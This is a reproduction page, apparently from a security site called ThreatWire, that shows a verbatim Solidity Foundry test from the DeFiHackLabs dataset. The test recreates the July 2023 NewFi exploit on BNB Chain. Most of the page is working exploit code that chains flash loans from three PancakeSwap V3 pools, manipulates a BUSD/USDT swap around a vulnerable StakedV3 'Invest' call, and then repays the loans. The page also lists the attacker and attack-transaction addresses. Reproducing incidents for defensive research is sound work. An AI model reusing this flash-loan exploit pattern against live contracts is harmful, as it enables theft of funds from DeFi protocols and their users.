Public reproduction file

src/test/2023-07/NewFi_exp.sol

Public reproduction file for dataset entry NewFi.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-07/NewFi_exp.sol98 lines

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @KeyInfo - Total Lost : ~31K USD$
8// Attacker : https://bscscan.com/address/0x3a10408fd7a2b2a43bd14a17c0d4568430b93132
9// Attack Contract : https://bscscan.com/address/0x18703a4fd7b3688607abf25424b6ab304def2512
10// Vulnerable Contract : https://bscscan.com/address/0xb8dc09eec82cab2e86c7edc8dd5882dd92d22411
11// Attack Tx : https://bscscan.com/tx/0x557628123d137ea49564e4dccff5f5d1e508607e96dd20fe99a670519b679cb5
12 
13// @Info
14// Vulnerable Contract Code : https://bscscan.com/address/0xb8dc09eec82cab2e86c7edc8dd5882dd92d22411#code
15 
16// @Analysis
17// Twitter Guy : https://twitter.com/Phalcon_xyz/status/1680961588323557376
18 
19interface IStakedV3 {
20    function Invest(
21        uint256 id,
22        uint256 amount,
23        uint256 quoteAmount,
24        uint256 investType,
25        uint256 cycle,
26        uint256 deadline
27    ) external payable;
28}
29 
30contract ContractTest is Test {
31    IERC20 BUSD = IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);
32    IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
33    Uni_Router_V3 Router = Uni_Router_V3(0x13f4EA83D0bd40E75C8222255bc855a974568Dd4);
34    Uni_Pair_V3 Pair1 = Uni_Pair_V3(0x22536030B9cE783B6Ddfb9a39ac7F439f568E5e6);
35    Uni_Pair_V3 Pair2 = Uni_Pair_V3(0x85FAac652b707FDf6907EF726751087F9E0b6687);
36    Uni_Pair_V3 Pair3 = Uni_Pair_V3(0x369482C78baD380a036cAB827fE677C1903d1523);
37    IStakedV3 StakedV3 = IStakedV3(0xB8dC09Eec82CaB2E86C7EdC8DD5882dd92d22411);
38 
39    function setUp() public {
40        vm.createSelectFork("bsc", 30_043_573);
41        vm.label(address(BUSD), "BUSD");
42        vm.label(address(USDT), "USDT");
43        vm.label(address(Router), "Router");
44        vm.label(address(Pair1), "Pair1");
45        vm.label(address(Pair2), "Pair2");
46        vm.label(address(StakedV3), "StakedV3");
47    }
48 
49    function testExploit() public {
50        USDT.approve(address(Router), type(uint256).max);
51        BUSD.approve(address(Router), type(uint256).max);
52        BUSD.approve(address(StakedV3), type(uint256).max);
53        BUSD.approve(address(StakedV3), type(uint256).max);
54        Pair1.flash(address(this), 0, BUSD.balanceOf(address(Pair1)), abi.encode(BUSD.balanceOf(address(Pair1))));
55 
56        emit log_named_decimal_uint(
57            "Attacker BUSD balance after exploit", BUSD.balanceOf(address(this)), BUSD.decimals()
58        );
59    }
60 
61    function pancakeV3FlashCallback(uint256 amount0, uint256 amount1, bytes calldata data) external {
62        if (msg.sender == address(Pair1)) {
63            Pair2.flash(address(this), 0, BUSD.balanceOf(address(Pair2)), abi.encode(BUSD.balanceOf(address(Pair2))));
64            uint256 repayAmount = abi.decode(data, (uint256));
65            BUSD.transfer(address(Pair1), repayAmount + amount1);
66        } else if (msg.sender == address(Pair2)) {
67            Pair3.flash(address(this), 0, BUSD.balanceOf(address(Pair3)), abi.encode(BUSD.balanceOf(address(Pair3))));
68            uint256 repayAmount = abi.decode(data, (uint256));
69            BUSD.transfer(address(Pair2), repayAmount + amount1);
70        } else if (msg.sender == address(Pair3)) {
71            BUSDToUSDT();
72            StakedV3.Invest(2, 1 ether, 2, 1, 7, block.timestamp + 1000); // remove liquidity and swap BUSD to USDT
73            USDTToBUSD();
74            uint256 repayAmount = abi.decode(data, (uint256));
75            BUSD.transfer(address(Pair3), repayAmount + amount1);
76        }
77    }
78 
79    function BUSDToUSDT() internal {
80        bytes memory path = abi.encodePacked(address(BUSD), uint24(100), address(USDT));
81        address recipient = address(this);
82        uint256 amountIn = 12_000_000 ether;
83        uint256 amountOutMinimum = 0;
84        Uni_Router_V3.ExactInputParams memory ExactInputParams =
85            Uni_Router_V3.ExactInputParams(path, recipient, amountIn, amountOutMinimum);
86        Router.exactInput(ExactInputParams);
87    }
88 
89    function USDTToBUSD() internal {
90        bytes memory path = abi.encodePacked(address(USDT), uint24(100), address(BUSD));
91        address recipient = address(this);
92        uint256 amountIn = USDT.balanceOf(address(this));
93        uint256 amountOutMinimum = 0;
94        Uni_Router_V3.ExactInputParams memory ExactInputParams =
95            Uni_Router_V3.ExactInputParams(path, recipient, amountIn, amountOutMinimum);
96        Router.exactInput(ExactInputParams);
97    }
98}

Analysis

Dataset entry

Public Foundry test for “NewFi” (2023-07-17). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

23 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

src/test/2023-07/ApeDAO_exp.solSame month in the dataset · 103 lines
src/test/2023-07/ArcadiaFi_exp.solSame month in the dataset · 288 lines
src/test/2023-07/AzukiDAO_exp.solSame month in the dataset · 87 lines
src/test/2023-07/Bamboo_exp.solSame month in the dataset · 85 lines
src/test/2023-07/Bao_exp.solSame month in the dataset · 174 lines
src/test/2023-07/BNO_exp.solSame month in the dataset · 94 lines
src/test/2023-07/Carson_exp.solSame month in the dataset · 100 lines
src/test/2023-07/Civfund_exp.solSame month in the dataset · 250 lines
src/test/2023-07/CIVNFT_exp.solSame month in the dataset · 116 lines
src/test/2023-07/Conic_exp.solSame month in the dataset · 274 lines
src/test/2023-07/Conic02_exp.solSame month in the dataset · 131 lines
src/test/2023-07/Curve_exp01.solSame month in the dataset · 95 lines
src/test/2023-07/FFIST_exp.solSame month in the dataset · 80 lines
src/test/2023-07/GYMNET_exp.solSame month in the dataset · 148 lines
src/test/2023-07/Libertify_exp.solSame month in the dataset · 149 lines
src/test/2023-07/MintoFinance_exp.solSame month in the dataset · 104 lines
src/test/2023-07/Palmswap_exp.solSame month in the dataset · 105 lines
src/test/2023-07/Platypus02_exp.solSame month in the dataset · 93 lines
src/test/2023-07/RodeoFinance_exp.solSame month in the dataset · 152 lines
src/test/2023-07/SUT_exp.solSame month in the dataset · 104 lines
src/test/2023-07/USDTStakingContract28_exp.solSame month in the dataset · 64 lines
src/test/2023-07/Utopia_exp.solSame month in the dataset · 86 lines
src/test/2023-07/WGPT_exp.solSame month in the dataset · 140 lines

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

Attacker
0x3a10408fd7a2b2a43bd14a17c0d4568430b93132
Attack Contract
0x18703a4fd7b3688607abf25424b6ab304def2512
Vulnerable Contract
0xb8dc09eec82cab2e86c7edc8dd5882dd92d22411

Attack Tx
0x557628123d137ea49564e4dccff5f5d1e508607e96dd20fe99a670519b679cb5

File record

Name: NewFi
Path: src/test/2023-07/NewFi_exp.sol
Repository: SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit: 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob: f75302efc1c790338bcaa702bab0f3ee3b3b1f52
Language: Solidity
Size: 99 lines
Date: 2023-07-17
Licence: file header UNLICENSED; repository Apache-2.0
Retrieved: 2026-10-19

Provenance

Path src/test/2023-07/NewFi_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob f75302efc1c790338bcaa702bab0f3ee3b3b1f52, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.